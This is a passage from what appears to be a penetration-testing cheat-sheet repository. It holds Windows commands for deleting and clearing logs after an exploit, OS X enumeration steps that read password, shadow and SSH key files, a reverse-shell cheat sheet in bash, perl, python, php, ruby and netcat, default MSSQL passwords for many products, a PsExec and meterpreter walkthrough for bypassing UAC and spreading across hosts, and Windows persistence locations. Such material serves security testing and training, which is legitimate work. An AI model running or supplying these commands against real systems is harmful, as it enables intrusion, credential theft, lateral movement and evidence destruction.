`%WINDIR%\system32\config\SecEvent.Evt` | Windows Event Logs. | 18 | | `%WINDIR%\system32\config\default.sav`
`%WINDIR%\system32\config\security.sav`
`%WINDIR%\system32\config\software.sav`
`%WINDIR%\system32\config\system.sav` | Backup Windows registry files (http://forensics.wikia.com/wiki/Windows_registry_entries) | 19 | | `%WINDIR%\system32\logfiles\httperr\httperr1.log` | IIS 6.x web server error logs. | 20 | | `%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log` where YYMMDD = year month day | Web server log files. | 21 | | `unattend.txt, unattend.xml, sysprep.inf` | Used in the automated deployment of Windows images and can contain user accounts. | -------------------------------------------------------------------------------- /windows/cover.md: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | # Windows Covering Tracks Commands 13 | 14 | Commands to run to clean up a system after you have exploited it and to reduce a target's ability to discover what you did while on their system and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. 15 | 16 | ## del 17 | ### Delete Logs 18 | * **Command with arguments**: `del %WINDIR%\*.log /a /s /q /f` 19 | * **Description**: **MUST be run as an administrator**. Deletes all *.log files from the %WINDIR% directory. 20 | * **Output**: 21 | * NA 22 | 23 | ---- 24 | 25 | ## wevtutil 26 | ### List Logs 27 | * **Command with arguments**: `wevutil el` 28 | * **Description**: Lists the different log files the system is keeping. More information can be found http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx 29 | * **Output**: 30 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wevtutil el 31 | Application 32 | DFS Replication 33 | Directory Service 34 | DNS Server 35 | File Replication Service 36 | HardwareEvents 37 | Internet Explorer 38 | Key Management Service 39 | Security 40 | System 41 | ThinPrint Diagnostics 42 | EndpointMapper 43 | ForwardedEvents 44 | Microsoft-Windows-ADSI/Debug 45 | Microsoft-Windows-Bits-Client/Analytic 46 | Microsoft-Windows-Bits-Client/Operational 47 | Microsoft-Windows-CAPI2/Operational 48 | Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational 49 | Microsoft-Windows-CodeIntegrity/Operational 50 | Microsoft-Windows-CodeIntegrity/Verbose 51 | Microsoft-Windows-COM/Analytic 52 | Microsoft-Windows-CorruptedFileRecovery-Client/Operational 53 | Microsoft-Windows-CorruptedFileRecovery-Server/Operational 54 | Microsoft-Windows-CredUI/Diagnostic 55 | Microsoft-Windows-DateTimeControlPanel/Analytic 56 | Microsoft-Windows-DateTimeControlPanel/Debug 57 | Microsoft-Windows-DateTimeControlPanel/Operational 58 | Microsoft-Windows-DCLocator/Debug 59 | Microsoft-Windows-Diagnosis-DPS/Analytic 60 | Microsoft-Windows-Diagnosis-DPS/Debug 61 | Microsoft-Windows-Diagnosis-DPS/Operational 62 | Microsoft-Windows-Diagnosis-MSDT/Debug 63 | Microsoft-Windows-Diagnosis-MSDT/Operational 64 | Microsoft-Windows-Diagnosis-PLA/Debug 65 | Microsoft-Windows-Diagnosis-PLA/Operational 66 | Microsoft-Windows-Diagnosis-WDI/Debug 67 | Microsoft-Windows-Diagnostics-Networking/Debug 68 | [...snip...]
69 | 70 | ### Clear Logs 71 | * **Command with arguments**: `wevtutil cl [LOGNAME]` 72 | * **Description**: **MUST be run as an administrator**. Clears the contents of a specific log. 73 | * **Output**: 74 | *
**Windows 2008:** Show/Hide
c:\temp>wevtutil cl Microsoft-Windows-EventLog/Debug
-------------------------------------------------------------------------------- /windows/find_files.md: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | # Windows Finding File Commands 13 | 14 | Commands that find files on the filesystem and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. 15 | 16 | ## dir 17 | ### Attributes Showing 18 | * **Command with arguments**: `dir /a` 19 | * **Description**: Displays files with specified attributes. Examples: D=Directories, R=Read-only files, H=Hidden files, A=Files ready for archiving, S=System files 20 | * **Output**: 21 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir /a c:\
Volume in drive C has no label. Volume Serial Number is 1A09-5F16

Directory of c:\

01/19/2008 03:45 AM $Recycle.Bin
09/18/2006 04:43 PM 24 autoexec.bat
10/08/2013 10:27 PM Boot
04/11/2009 08:00 AM 333,257 bootmgr
10/08/2013 10:27 PM 8,192 BOOTSECT.BAK
09/18/2006 04:43 PM 10 config.sys
01/19/2008 06:47 AM Documents and Settings [C:\Users]
10/23/2013 07:39 PM 2,460,454,912 pagefile.sys
01/19/2008 04:40 AM PerfLogs
10/08/2013 06:36 PM Program Files
10/08/2013 06:36 PM
10/10/2013 07:59 PM Users
10/23/2013 07:38 PM Windows
5 File(s) 2,460,796,395 bytes
10 Dir(s) 33,311,416,320 bytes free
22 | 23 | ### Recursive 24 | * **Command with arguments**: `dir /b /s [directory or filename]` 25 | * **Description**: Displays files recursively (all subdirectories). Good for post processing with find (example: `find /I “searchstring”`) or sending to another tool. 26 | * **Output**: 27 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir /b /s c:\temp
c:\Users\Default\AppData\Local\Temp
c:\Users\johndoe\AppData\Local\Temp
c:\Windows\Temp
c:\Windows\assembly\temp
c:\Windows\assembly\NativeImages_v2.0.50727_32\Temp
c:\Windows\System32\DriverStore\Temp
c:\Windows\winsxs\Temp
28 | ---- 29 | 30 | ## find 31 | * **Command with arguments**: `[somecommand] \| find /c /v ”[searchstring]”` 32 | * **Description**: Counts the number of times the [searchstring] is found in the output of [somecommand]. 33 | * **Output**: 34 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir /a /s c:\ |find /c /v "svchost" 35 | 99184
36 | ---- 37 | 38 | ## tree 39 | * **Command with arguments**: `tree C:\ /f /a > C:\output_of_tree.txt` 40 | * **Description**: Prints a directory listing in tree format. The `/a` makes the tree printed with ASCII characters instead of special ones and the `/f` displays file names as well as folders. 41 | * **Output**: 42 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>tree C:\ /f /a
Folder PATH listing
Volume serial number is 1A09-5F16
C:\
| autoexec.bat
| config.sys
|
+---PerfLogs
+---Program Files
| +---Common Files
| | +---microsoft shared
| | | +---DAO
| | | | dao360.dll
| | | |
| | | +---ink
| | | | | penchs.dll
| | | | | pencht.dll
| | | | | penjpn.dll
| | | | | penkor.dll
| | | | | penusa.dll
| | | | | pipanel.dll
| | | | | pipanel.exe
| | | | | pipres.dll
| | | | | skchobj.dll
| | | | | skchui.dll
| | | | |
| | | | +---ar-SA
| | | | | tipresx.dll.mui
| | | | |
[...SNIP...]
43 | -------------------------------------------------------------------------------- /osx/bulk.md: -------------------------------------------------------------------------------- 1 | 2 | # OS X Google Doc Content # 3 | 4 | The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance. 5 | 6 | ---- 7 | 8 | ## Blind Files 9 | (things to pull when all you can do is blindly read) LFI/dir traversal 10 | /etc/resolv.conf (everyone always has read on this and it wont trigger an IDS) 11 | 12 | ## System 13 | uname -a 14 | ps aux 15 | ps -aef 16 | id 17 | arch 18 | w 19 | who -a 20 | gcc -v 21 | mysql --version 22 | perl -v 23 | ruby -v 24 | python --version 25 | df -k 26 | mount 27 | last -a 28 | lastlogin (*bsd) 29 | getenforce <- does not work on Lion no idea if this work in previous versions 30 | dmesg 31 | lsusb<- does not work on Lion no idea it this work on previous versions 32 | lshw <- does not work on Lion no idea it this work on previous versions 33 | free -m <- does not work on Lion no idea it this work on previous versions 34 | du -h --max-depth=1 / 35 | which nmap (see if it's already installed) 36 | locate bin/nmap 37 | which nc (see if it's already installed) 38 | locate bin/ 39 | whoami 40 | jps -l 41 | java -version 42 | 43 | ## Networking 44 | hostname -f 45 | ip addr show 46 | ifconfig -a 47 | route -n 48 | cat /etc/network/interfaces 49 | iptables -L -n 50 | netstat -anop 51 | netstat -r 52 | netstat -nltupw (root with raw sockets) 53 | arp -a 54 | lsof -nPi 55 | 56 | ## Configs 57 | ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null 58 | cat /etc/issue{,.net} 59 | cat /etc/passwd 60 | cat /etc/shadow (gotta try..) 61 | cat /etc/shadow~ # (sometimes there when edited with gedit) 62 | cat /etc/master.passwd 63 | cat /etc/group 64 | cat /etc/hosts 65 | cat /etc/crontab 66 | cat /etc/sysctl.conf 67 | for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons) 68 | cat /etc/resolv.conf 69 | cat /etc/samba/smb.conf 70 | pdbedit -L -w 71 | pdbedit -L -v 72 | cat /etc/exports 73 | cat /etc/auto.master 74 | cat /etc/auto_maste 75 | cat /etc/fstab 76 | cat /etc/exports 77 | find /etc/sysconfig/ -type f -exec cat {} \; 78 | cat /etc/sudoers 79 | 80 | ## Package Sources 81 | cat /etc/apt/sources.list 82 | ls -l /etc/yum.repos.d/ 83 | cat /etc/yum.conf 84 | 85 | ## Finding Important Files 86 | find /var/log -type f -exec ls -la {} \; 87 | ls -alhtr /mnt 88 | ls -alhtr /Volumes 89 | ls -alhtr /tmp 90 | ls -alhtr /home 91 | ls /Users/*/.ssh/* 92 | find /home -type f -iname '.*history' 93 | ls -lart /etc/rc.d/ 94 | locate tar | grep [.]tar$ 95 | locate tgz | grep [.]tgz$ 96 | locate sql l grep [.]sql$ 97 | locate settings | grep [.]php$ 98 | locate config.inc | grep [.]php$ 99 | ls /Users/*/id* 100 | locate .properties | grep [.]properties # java config files 101 | locate .xml | grep [.]xml # java/.net config files 102 | find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm -4000 # find suids 103 | 104 | ## Per User 105 | ls -alh /Users/*/ 106 | ls -alh /Users/*/.ssh/ 107 | cat /Users/*/.ssh/authorized_keys 108 | cat /Users/*/.ssh/known_hosts 109 | cat /Users/*/.*hist* 110 | find -type f /Users/*/.vnc /Users/*/.subversion 111 | grep ^ssh /Users/*/.*hist* 112 | grep ^telnet `/Users/*/.*hist* 113 | grep ^mysql /Users/*/.*hist* 114 | cat /Users/*/.viminfo 115 | sudo -l # if sudoers is not readable, this sometimes works per user 116 | crontab -l 117 | 118 | ## Priv (sudo'd or as root) 119 | ls -alh /root/ 120 | cat /etc/sudoers 121 | cat /etc/shadow 122 | cat /etc/master.passwd # OpenBSD 123 | cat /var/spool/cron/crontabs/* 124 | lsof -nPi 125 | ls /Users/*/.ssh/* 126 | 127 | ## Reverse Shell 128 | starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 129 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # No /dev/tcp on Mac OS X 130 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 131 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 132 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 133 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 134 | nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore 135 | rm /tmp/;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f 136 | xterm -display 10.0.0.1:1 137 | Listener- Xnest :1 138 | Add permission to connect- xhost +victimIPf 139 | -------------------------------------------------------------------------------- /windows/mssql.md: -------------------------------------------------------------------------------- 1 | # MSSQL Instance Defaults 2 | 3 | 4 | MSSQL Defaults 5 | ---------- 6 | 7 | [Internet MSSQL Instances](references/internet_mssql.txt) 8 | 9 | Common: 10 | 11 | * sa/sa 12 | * sa/\ 13 | * sa/SQL 14 | 15 | Default MSSQL Instance names: SQLEXPRESS, MSSQLSERVER 16 | 17 | Instances 18 | --------- 19 | 20 | - - - - 21 | 22 | **Instance**: SALESLOGIX 23 | 24 | **Software**: http://www.saleslogix.com/ 25 | 26 | * sa/SLXMaster 27 | * sa/SLXMa$t3r 28 | 29 | - - - - 30 | 31 | **Instance**: CITADEL 32 | 33 | **Software**: http://www.ni.com/labview/ 34 | 35 | * sa password is generated by "generateComputerId.exe" at install time. Available in their trail installer. Haven't been able to reverse engineer this into figuring out what variables result in the password, but it is the same when installed to the same machine twice. 36 | 37 | - - - - 38 | 39 | **Instance**: ACT7 40 | 41 | **Software**: http://www.act.com/ 42 | 43 | * sa/sage 44 | 45 | - - - - 46 | 47 | **Instance**: BKUPEXEC 48 | 49 | **Software**: http://www.symantec.com/products/data-backup-software 50 | 51 | * sa/\ 52 | 53 | - - - - 54 | 55 | **Instance**: CSSQL05 56 | 57 | **Software**: http://www.cambridgesoft.com/solutions/details/?fid=175 58 | 59 | * ELNAdmin/ELNAdmin 60 | * sa/CambridgeSoft_SA 61 | 62 | - - - - 63 | 64 | **Instance**: ESCANSQLSERVER 65 | 66 | **Software**: http://www.escanav.com/english/ 67 | 68 | * SA Password can be found `HKLM\Software\Microworld\eScan for Windows\Webconsole`. I don't have a copy to be able to get the default 69 | 70 | - - - - 71 | 72 | **Instance**: COMMVAULT 73 | 74 | **Software**: http://www.commvault.com/simpana-software 75 | 76 | * Default username is many times: admin 77 | * Password is set at install, but many people do single sign on with a local admin account on the box. 78 | 79 | - - - - 80 | 81 | **Instance**: INSERTGT 82 | 83 | **Software**: 84 | 85 | * Default Found: http://www.solutionoferror.com/java/sql-server-2008-r2-connection-error-android-254573.asp 86 | * msi/keyboa5 87 | * sa/\ 88 | 89 | - - - - 90 | 91 | **Instance**: VIDEOOSDB 92 | 93 | **Software**: http://forum.milestonesys.com/yaf_topics54_XProtect-Essential.aspx 94 | 95 | - - - - 96 | 97 | **Instance**: IMPERVA 98 | 99 | **Software**: http://www.imperva.com/products/wsc_web-application-firewall.html 100 | 101 | * Default database username: secure 102 | * Password if left as default is a 8 character starting with the word "secure", this is reset many times when techs fix the software as well. Default database type is Oracle. 103 | 104 | - - - - 105 | 106 | **Instance**: RTCLOCAL 107 | 108 | **Software**: http://blog.insidelync.com/2011/04/the-lync-server-databases/ 109 | 110 | * sa/mypassword 111 | * Reference: http://www.kaplansoft.com/tekivr/TekIVR-Lync.pdf 112 | 113 | - - - - 114 | 115 | **Instance**: SBSMONITORING 116 | 117 | **Software**: Windows Small Business Server 118 | 119 | * sa acount disabled by default 120 | * Reference: http://social.technet.microsoft.com/Forums/en-US/a05d3bac-796e-4746-8c82-48da23d52549/what-is-the-default-password-for-sa-account-in-windows-sbs-2011-standard?forum=smallbusinessserver 121 | 122 | - - - - 123 | 124 | **Instance**: PCAMERICA 125 | 126 | **Software**: PC America Restaurant Pro Express 127 | 128 | * sa/PCAmerica 129 | * Reference: http://www.fixya.com/support/t3995856-restaurant_pro_express_client 130 | * sa/pcAmer1ca 131 | * Reference: http://www.njsolutions.net/pcamerica-faqs/61-sql-server-manual-install 132 | 133 | - - - - 134 | 135 | **Instance**: VSDOTNET 136 | 137 | **Software**: visual studio .net 138 | 139 | * sa/\ 140 | * Reference: http://ptijira.dyndns.org:8090/display/ClearDentKB/Login+failed+user+%27sa%27.+The+user+is+not+associated+with+a+trusted+SQL+Server+Connection 141 | 142 | - - - - 143 | 144 | **Instance**: ACT7 145 | 146 | **Software**: Act7 147 | 148 | * sa/randomized after install 149 | * Refef: http://community.act.com/t5/Act-Premium/ACT-Premium-2008-sa-password/td-p/1710 150 | 151 | forum mentions: "ActbySage1!" as a password 152 | 153 | - - - - 154 | 155 | **Instance**: HPDSS 156 | 157 | **Software**: HP MFP Digital Sending Software 158 | 159 | * sa/Hpdsdb000001 160 | * sa/hpdss 161 | * Reference: http://h20566.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?sp4ts.oid=5076216&spf_p.tpst=kbDocDisplay&spf_p.prp_kbDocDisplay=wsrp-navigationalState%3DdocId%253Demr_na-c02712353-3%257CdocLocale%253D%257CcalledBy%253D&javax.portlet.begCacheTok=com.vignette.cachetoken&javax.portlet.endCacheTok=com.vignette.cachetoken 162 | 163 | - - - - 164 | 165 | **Instance**: MYMOVIES 166 | 167 | **Software**: My Movies 168 | 169 | * sa/t9AranuHA7 170 | * Reference: http://www.mymovies.dk/forum.aspx?g=posts&t=24514 171 | 172 | - - - - 173 | 174 | **Instance**: CODEPAL / CODEAPL08 175 | 176 | **Software**: 177 | 178 | * sa/Cod3p@l 179 | * Reference: http://codepalinspections.net/CPO%20Setup%20On%20Alien%20Servers.txt 180 | 181 | - - - - 182 | 183 | **Instance**: VSQL 184 | 185 | **Software**: 186 | 187 | * sa/111 188 | * Reference: http://www.integraxor.com/forum/viewtopic.php?f=2&t=75&start=10 189 | 190 | - - - - 191 | 192 | **Instance**: EASYSHIP / DHLEASYSHIP 193 | 194 | **Sofware**: 195 | 196 | * sa/DHLadmin@1 197 | * Reference: http://rayotter.com/dhl/HTA/Create_Shipper_and_Defaults.hta.txt 198 | 199 | - - - - 200 | 201 | **Instance**: SQLEXP_VIM 202 | 203 | **Software**: http://www.vmware.com/products/vcenter-server/ 204 | 205 | * No default username/password. Usually Active Directory-based login. 206 | 207 | - - - - 208 | 209 | **Instance**: VEEAMSQL2008R2 210 | 211 | **Software**: http://www.veeam.com/vm-backup-recovery-replication-software.html?ad=menu 212 | 213 | * No default username/password. Usually Active Directory-based login. 214 | 215 | - - - - 216 | 217 | **Instance**: Unknown 218 | 219 | **Software**: Siemens Simatic WinCC 220 | 221 | * WinCCConnect/2WSXcder 222 | * WinCCAdmin/2WSXcde. 223 | * Reference: http://scadastrangelove.blogspot.com/2012/07/wincc-default-password-7-years-long.html -------------------------------------------------------------------------------- /windows/uac.md: -------------------------------------------------------------------------------- 1 | # UAC Bypassing 2 | 3 | ### PsExec.exe method 4 | 5 | For this example, lets just assume that you have gotten a meterpreter shell on a box. For the purposes of this demonstration, this box will be called Box0. Box0 is not a very kind soul though, and as thus although you have an admin shell on it, the UAC is preventing you from dumping the hashes of the system. You would like to upgrade this shell, but alas, the box is running Windows Vista with UAC, which is getting in the way of you escalating your privileges. Furthermore, the box appears to be patched and up to date, so you can't take advantage of any local OS or application exploits to gain privileges. So what can we do? 6 | 7 | For starters we can turn to PsExec. PsExec will allow us to run commands against a remote machine, and comes with a handly little option, -h. 8 | 9 | ``` 10 | -h If the target system is Vista or higher, has the process 11 | run with the account's elevated token, if available. 12 | ``` 13 | 14 | Seems handy for what were planning to do. Before we dive in though, I want to quickly note that the way UAC works for an admin user is that there is a normal token that is used for everyday activities and then there is a elevated privileges token that is used for special activities. This is why although we can't dump the hashes just yet, we have the normal admin token, but not the elevated one we need. Keep in mind that various boxes thoughtout the network may have either of these tokens, but only the elevated one will grant the privileges that we want, allowing us to do hash dumping and other fun stuff :) 15 | 16 | Continuing on, the first step that we want to do is upload a copy of PsExec.exe and an encoded copy of a malicious meterepreter exe (see the Veil project for details on how to do this) up to the server. To do this, we could do: 17 | 18 | ``` 19 | upload *path to meterpreter exe* \\users\\*target user here*\\metpr.exe 20 | upload *path to PsExec.exe* \\users\\*target user here*\\PsExec.exe 21 | ``` 22 | 23 | The next step to do is to gather a list of target IP addresses that you would like to try using your exploited user's authentication credentials against. Once you have done this, save it to a file (targets.txt in our example) and upload it to Box0. 24 | 25 | ``` 26 | upload *path to targets.txt* \\users\\*target user here*\\targets.txt 27 | ``` 28 | 29 | We then can run PsExec.exe as follows: 30 | 31 | ``` 32 | PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe 33 | ``` 34 | 35 | I'll breifly explain the options. "-accepteula" sets the appropriate flag in the registry to make sure that the EULA agreement notification does not randomly pop up on the exploited user's machine. "-c" makes sure that we copy our meterpreter exe (metpr.exe) across to any system where the credentials work, whilst "-f" makes sure we overwrite the file if it already exists. "-h" is the important option here, which will run the meterpreter payload on any machine where the credentials works with the elevated token if the account on that machine has a elevated token attached to it (see PsExec output above). Finally, "-d" will make sure we don't wait for termination (run in background). 36 | 37 | Now provided this command runs and we end up uploading and executing the meterpreter payload on a target in our targets.txt file that has admin rights, 2 things will happen. First off, we will not need to worry about credentials as if the user we are authenticating to on the remote machine is an admin (aka the user we compromised is admin on the remote machine), then the credentials for our compromized user will automatically be passed on to the remote machine, thus giving us access to the admin user on that machine without us needing to know the password. Secondly, if the user that we compromised is an admin on this machine, when the meterpreter exe executes, it will bypass the UAC, running instead as the priviledged admin user (it will use the elevated privileges token tied to that account). At this point, we now have a elevated shell on the second box, which we shall call Box1 for the rest of this document (this is after we do a getsystem on Box1 to elevate our privileges (which we can now do as we have the elevated privileges token we didn't have before)). 38 | 39 | We do have a slight problem though. Due to something called the double hop issue (http://support.microsoft.com/default.aspx?scid=kb;en-us;329986) we can't actually use the elevated privileges on Box1 to pass on the elevated privileges to Box0. This is because you can't pass resources more than 1 hop. In our example the first hop is from Box0 to Box1, and the second hop is Box1 to Box0. If we were to try doing this, we would end up trying to authenticate as the NTAUTHORITY\ANONYMOUS user as we would only have the secondary token to Box0, not the primary one (elevated privileges) that we need. The only way we could get around this is if we knew the password for the client on Box0, at which point we could then elevate privileges to the required level. To solve this problem we can use PsLoggedon.exe. 40 | 41 | 42 | - - - - - - 43 | 44 | ### PsLoggedon.exe 45 | 46 | - - - - - - 47 | 48 | We now need to find another host where our user is running with a primary token so that we can escalate privileges on Box0. To do this, we will use PsLoggedon.exe from same PsTools suite that PsExec.exe comes from. Taking the targets.txt file that we created, here is the command to pass through the credentials of our currently compromized user and find out where else he/she is logged in: 49 | 50 | ``` 51 | for /F %i in (targets.txt) do @PsLoggedon.exe \\%i 2>NUL | find "*compromized user's name goes here*" >NUL && echo %i 52 | ``` 53 | 54 | This will list all of the boxes where our user is logged into. We can then target this box with the PsExec.exe method we used in the last example. Once we have a shell on the new host from that, we can then dump the credentials with Mimikatz if we want. This box will also have a primary key that we can then use to elevate our shell on Box0, thereby bypassing UAC. 55 | 56 | - - - - - - 57 | ### Credits 58 | 59 | All credits for the examples and explanation comes from Tim Medin's post which you can find here: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass 60 | The examples are all his work and I take no ownership for them. This article is mearly a rewording of what he has written in my own (tekwizz123's) words. 61 | 62 | -------------------------------------------------------------------------------- /windows/autostart.md: -------------------------------------------------------------------------------- 1 | ## Windows Autostart Locations 2 | ### Folders 3 | | Location | Operating System | 4 | | -------- | ---------------- | 5 | | `%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\` | Windows NT 6.0, 6.1 | 6 | | `%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\` | Windows 5.0, 5.1, 5.2 | 7 | | `%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\` | Windows 9x | 8 | | `%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\` | Windows NT 3.50, 3.51, 4.0 | 9 | | `User\Startup\` | | 10 | | `%windir%\Start Menu\Programs\Startup\` | | 11 | | `%windir%\Tasks\` | | 12 | | `%windir%\system\iosubsys\` | | 13 | | `%windir%\system\vmm32\` | | 14 | 15 | ### Files 16 | | Location | Operating System | 17 | | -------- | ---------------- | 18 | | `%windir%\dosstart.bat` | | 19 | | `%windir%\system.ini` - [boot] "scrnsave.exe" | | 20 | | `%windir%\system.ini` - [boot] "shell" | | 21 | | `%windir%\system\autoexec.nt` | | 22 | | `%windir%\system\config.nt` | | 23 | | `%windir%\win.ini` - [windows] "load" | | 24 | | `%windir%\win.ini` - [windows] "run" | | 25 | | `%windir%\wininit.ini` | | 26 | | `%windir%\winstart.bat` | | 27 | | `c:\autoexec.bat` | | 28 | | `c:\config.sys` | | 29 | | `c:\explorer.exe` | | 30 | 31 | ### Registry 32 | | Location | Function | 33 | | -------- | -------- | 34 | | `%windir%\dosstart.bat` | | 35 | | `HKEY_CLASSES_ROOT\batfile\shell\open\command\` | Executed whenever a .BAT file (Batch Command) is run. | 36 | | `HKEY_CLASSES_ROOT\comfile\shell\open\command\` | Executed whenever a .COM file (Command) is run. | 37 | | `HKEY_CLASSES_ROOT\exefile\shell\open\command\` | Executed whenever a .EXE file (Executable) is run. | 38 | | `HKEY_CLASSES_ROOT\jsefile\shell\open\command\` | Executed whenever a .JSE file (Encoded Javascript) is run. | 39 | | `HKEY_CLASSES_ROOT\jsfile\shell\open\command\` | Executed whenever a .JS file (Javascript) is run. | 40 | | `HKEY_CLASSES_ROOT\piffile\shell\open\command\` | Executed whenever a .PIF file (Portable Interchange Format) is run. | 41 | | `HKEY_CLASSES_ROOT\scrfile\shell\open\command\` | Executed whenever a .SCR file (Screen Saver) is run. | 42 | | `HKEY_CLASSES_ROOT\vbefile\shell\open\command\` | Executed whenever a .VBE file (Encoded Visual Basic Script) is run. | 43 | | `HKEY_CLASSES_ROOT\vbsfile\shell\open\command\` | Executed whenever a .VBS file (Visual Basic Script) is run. | 44 | | `HKEY_CLASSES_ROOT\wsffile\shell\open\command\` | Executed whenever a .WSF file (Windows Scripting File) is run. | 45 | | `HKEY_CLASSES_ROOT\wshfile\shell\open\command\` | Executed whenever a .WSH file (Windows Scripting Host) is run. | 46 | | `HKEY_CURRENT_USER\Control Panel\Desktop` | The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates. | 47 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load` | Executed when the user logs in. | 48 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run` | Executed when the user logs in. | 49 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. | 50 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\` | Used only by Setup. Displays a progress dialog box as the keys are run one at a time. | 51 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. | 52 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. | 53 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\` | All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey. | 54 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` | Executed when a user logs in. | 55 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` | The "Shell" value is monitored. This value is executed after you log in. | 56 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\` | All values in this key are executed. | 57 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. | 58 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. | 59 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\` | All values in this key are executed as services, and then their autostart reference is deleted. | 60 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\` | All values in this key are executed as services. | 61 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\` | Executed by explorer.exe as soon as it has loaded. | 62 | | `HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline` | Executed when a 16-bit Windows executable is executed. | 63 | | `HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline` | Executed when a 16-bit DOS application is executed. | 64 | | `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` | The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts. | 65 | | `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\` | All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey. | 66 | | `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_En tries\` | Layered Service Providers, executed before user login. | 67 | | `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\` | Services marked to startup automatically are executed before user login. | 68 | | `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | Similar to the RunOnce key from HKEY_CURRENT_USER. | 69 | | `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\` | Similar to the Run key from HKEY_CURRENT_USER. | 70 | 71 | 72 | ## Windows Operating System Versions 73 | From http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx: 74 | 75 | The following table summarizes the most recent operating system version numbers. 76 | 77 | | Operating system | Version number | 78 | | ---------------- | -------------- | 79 | | Windows 8.1 | 6.3 | 80 | | Windows Server 2012 R2 | 6.3 | 81 | | Windows 8 | 6.2 | 82 | | Windows Server 2012 | 6.2 | 83 | | Windows 7 | 6.1 | 84 | | Windows Server 2008 R2 | 6.1 | 85 | | Windows Server 2008 | 6.0 | 86 | | Windows Vista | 6.0 | 87 | | Windows Server 2003 R2 | 5.2 | 88 | | Windows Server 2003 | 5.2 | 89 | | Windows XP 64-Bit Edition | 5.2 | 90 | | Windows XP | 5.1 | 91 | | Windows 2000 | 5.0 | 92 | 93 | ## References 94 | A large portion of this content came from https://web.archive.org/web/20110203184210/http://www.easy-data.no/Autostart.html -------------------------------------------------------------------------------- /mobile/android.md: -------------------------------------------------------------------------------- 1 | ## Using 